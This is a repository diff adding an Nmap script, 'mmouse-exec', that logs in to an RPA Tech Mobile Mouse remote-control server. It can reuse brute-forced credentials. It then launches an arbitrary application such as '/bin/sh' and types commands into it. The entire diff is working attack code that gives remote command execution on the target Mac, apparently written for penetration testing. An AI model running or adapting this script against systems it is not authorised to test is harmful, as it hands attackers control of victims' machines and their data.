summaryrefslogtreecommitdiffstats
path: root/scripts/mmouse-exec.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/mmouse-exec.nse')
-rw-r--r--scripts/mmouse-exec.nse180
1 files changed, 180 insertions, 0 deletions
diff --git a/scripts/mmouse-exec.nse b/scripts/mmouse-exec.nse
new file mode 100644
index 0000000..d45339a
--- /dev/null
+++ b/scripts/mmouse-exec.nse
@@ -0,0 +1,180 @@
+local creds = require "creds"
+local match = require "match"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Connects to an RPA Tech Mobile Mouse server, starts an application and
+sends a sequence of keys to it. Any application that the user has
+access to can be started and the key sequence is sent to the
+application after it has been started.
+
+The Mobile Mouse server runs on OS X, Windows and Linux and enables remote
+control of the keyboard and mouse from an iOS device. For more information:
+http://mobilemouse.com/
+
+The script has only been tested against OS X and will detect the remote OS
+and abort unless the OS is detected as Mac.
+]]
+
+---
+-- @usage
+-- nmap -p 51010 <host> --script mmouse-exec \
+-- --script-args application='/bin/sh',keys='ping -c 5 127.0.0.1'
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 51010/tcp open unknown syn-ack
+-- | mmouse-exec:
+-- |_ Attempted to start application "/bin/sh" and sent "ping -c 5 127.0.0.1"
+--
+-- @args mmouse-exec.password The password needed to connect to the mobile
+-- mouse server
+-- @args mmouse-exec.application The application which is to be started at the
+-- server
+-- @args mmouse-exec.keys The key sequence to send to the started application
+-- @args mmouse-exec.delay Delay in seconds to wait before sending the key
+-- sequence. (default: 3 seconds)
+--
+
+author = "Patrik Karlsson"
+categories = {"intrusive"}
+dependencies = {"mmouse-brute"}
+
+
+local arg_password = stdnse.get_script_args(SCRIPT_NAME .. '.password')
+local arg_app = stdnse.get_script_args(SCRIPT_NAME .. '.application')
+local arg_keys = stdnse.get_script_args(SCRIPT_NAME .. '.keys')
+local arg_delay = stdnse.get_script_args(SCRIPT_NAME .. '.delay') or 3
+
+portrule = shortport.port_or_service(51010, "mmouse", "tcp")
+
+local function receiveData(socket, cmd)
+ local status, data = ""
+ repeat
+ status, data = socket:receive_buf(match.pattern_limit("\04", 2048), true)
+ if ( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+ until( cmd == nil or data:match("^" .. cmd) )
+ return true, data
+end
+
+local function authenticate(socket, password)
+ local devid = "0123456789abcdef0123456789abcdef0123456"
+ local devname = "Lord Vaders iPad"
+ local suffix = "2".."\30".."2".."\04"
+ local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
+
+ local status = socket:send(auth)
+ if ( not(status) ) then
+ return false, "Failed to send data to server"
+ end
+
+ local status, data = receiveData(socket)
+ if ( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+
+ local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)")
+
+ if ( success == "YES" ) then
+ if ( os ~= 'MAC' ) then
+ return false, "Non MAC platform detected, script has only been tested on MAC"
+ end
+ if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then
+ return false, "Failed to send request to server"
+ end
+ if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then
+ return false, "Failed to send request to server"
+ end
+ return true
+ end
+ return false, "Authentication failed"
+end
+
+local function processSwitchMode(socket, swmode)
+ local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$")
+ if ( m ~= "SWITCHMODE") then
+ stdnse.debug1("Unknown SWITCHMODE: %s %s", m, o)
+ return false, "Failed to parse SWITCHMODE"
+ end
+
+ local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2)
+ local status = socket:send(str)
+ if ( not(status) ) then
+ return false, "Failed to send data to server"
+ end
+ return true
+end
+
+local function executeCmd(socket, app, keys)
+ local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app)
+ local status = socket:send(exec)
+ if ( not(status) ) then
+ return false, "Failed to send data to server"
+ end
+
+ local status, data = receiveData(socket)
+ if ( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+
+ if ( arg_delay ) then
+ stdnse.sleep(tonumber(arg_delay))
+ end
+
+ if ( keys ) then
+ local cmd = ("KEYSTRING\30%s\n\04"):format(keys)
+ if ( not(socket:send(cmd)) ) then
+ return false, "Failed to send data to the server"
+ end
+ end
+ return true
+end
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+ local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
+ local password = arg_password or (credentials and credentials.pass) or ""
+
+ if ( not(arg_app) ) then
+ return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME))
+ end
+
+ if ( not(arg_keys) ) then
+ return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME))
+ end
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(10000)
+ local status, err = socket:connect(host, port)
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ status, err = authenticate(socket, password)
+ if ( not(status) ) then
+ return fail(err)
+ end
+
+ local data
+ status, data = receiveData(socket, "SWITCHMODE")
+ if ( not(status) ) then
+ return fail("Failed to receive expected response from server")
+ end
+
+ if ( not(processSwitchMode(socket, data)) ) then
+ return fail("Failed to process SWITCHMODE command")
+ end
+
+ if ( not(executeCmd(socket, arg_app, arg_keys)) ) then
+ return fail("Failed to execute application")
+ end
+
+ return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys)
+end